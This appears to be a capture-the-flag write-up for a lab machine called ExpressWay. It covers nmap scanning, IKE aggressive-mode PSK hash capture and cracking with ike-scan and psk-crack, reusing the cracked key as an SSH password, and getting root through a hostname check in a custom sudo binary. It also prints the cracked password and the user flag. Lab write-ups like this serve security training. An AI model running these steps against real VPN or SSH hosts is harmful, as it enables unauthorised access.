ExpressWay¶

Initial Scan¶

nmap -sC -sV -Pn -oN scan_initial 10.10.11.87

Only SSH and an IPSec VPN endpoint are open.

Enumeration¶

IPSec VPN Discovery¶

Scanning for VPN identity using ike-scan:

sudo ike-scan -A expressway.htb --id=ike@expressway.htb -Phash.psk

This identifies the VPN gateway and captures the PSK hash for offline cracking.

PSK Cracking¶

Cracking the pre-shared key with RockYou:

psk-crack -d ~/wordlists/rockyou.txt hash.psk

The PSK is cracked successfully.

Exploitation¶

SSH Access¶

Using the IKE identity ike@expressway.htb and the cracked PSK as the SSH password:

sshpass -p "freakingrockstarontheroad" ssh ike@expressway.htb

The user flag is in the home directory:

cat user.txt
# 523a9fc683eb5988971edd3b36b7863f

Privilege Escalation¶

Squid Proxy Logs¶

The user has access to a Squid proxy group. Checking the Squid proxy logs reveals a hostname:

offramp.expressway.htb

Sudo with Hostname¶

The user can run sudo commands, but only when targeting a specific hostname. The custom sudo binary at /usr/local/bin/sudo validates the -h parameter against the hostname found in the Squid logs:

sudo -h offramp.expressway.htb /bin/bash

This grants a root shell.

Flags¶

user.txt: 523a9fc683eb5988971edd3b36b7863f root.txt: ***